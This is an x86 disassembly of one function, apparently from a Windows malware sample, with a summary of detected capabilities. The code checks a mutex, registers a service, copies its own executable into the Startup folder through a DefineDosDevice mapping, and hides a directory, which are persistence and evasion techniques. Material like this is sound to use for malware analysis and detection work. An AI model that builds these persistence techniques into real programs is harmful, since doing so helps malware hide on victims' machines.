Function at 0x41435f
Capabilities:
Check if file exists
Check mutex on windows
Copy file
Create directory
Delete file
Get common file path
Get file attributes
Get startup folder
Move file
Set file attributes
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4b8
push ebx
push esi
push edi
push 0x28
push 0
lea eax, [ebp - 0x2c]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x2c], 2
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
push 0x7f04
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
mov dword [ebp - 0x18], eax
push 0x7f8b
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [ebp - 0x14], eax
push 2
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], 0
lea ecx, [ebp - 0x2c]
push ecx
call dword [sym.imp.USER32.dll_RegisterClassA]
call dword [sym.imp.USER32.dll_GetInputState]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push 0
push 0
push 0
lea edx, [ebp - 0x48]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
push 0x104
push 0
lea eax, [ebp - 0x14c]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x14c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0x14c]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x41445b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x41445b
push 0
call sub.MSVCRT.dll_exit
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x403384], 0
jne 0x4145fe
cmp dword [0x40337c], 1
jne 0x4144e4
call fcn.00414979
test eax, eax
je 0x4144cd
mov dword [ebp - 0x15c], 0x403096
mov dword [ebp - 0x158], 0x414139
mov dword [ebp - 0x154], 0
mov dword [ebp - 0x150], 0
lea eax, [ebp - 0x15c]
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
jmp 0x4144e4
push 0x40317a
push 0x4030fa
push 0x403096
call fcn.0041462f
add esp, 0xc
cmp dword [0x403380], 1
jne 0x4145fc
push 0
push 7
lea ecx, [ebp - 0x468]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
jne 0x41450f
xor eax, eax
jmp 0x414626
push 0x40327a
push 0x40344c
lea edx, [ebp - 0x4b8]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x4b8]
push eax
lea ecx, [ebp - 0x468]
push ecx
push 0x403454
lea edx, [ebp - 0x260]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x260]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4145e4
lea ecx, [ebp - 0x4b8]
push ecx
lea edx, [ebp - 0x468]
push edx
push 0x40345c
lea eax, [ebp - 0x364]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x364]
push ecx
push 0x403468
push 1
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceA]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0x403470
lea edx, [ebp - 0x14c]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 4
push 0
lea eax, [ebp - 0x14c]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 2
lea ecx, [ebp - 0x468]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
lea edx, [ebp - 0x468]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov eax, 1
test eax, eax
je 0x4145fc
call fcn.00413dcb
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4145e4
jmp 0x414616
mov ecx, 1
test ecx, ecx
je 0x414616
call fcn.00413dcb
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4145fe
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10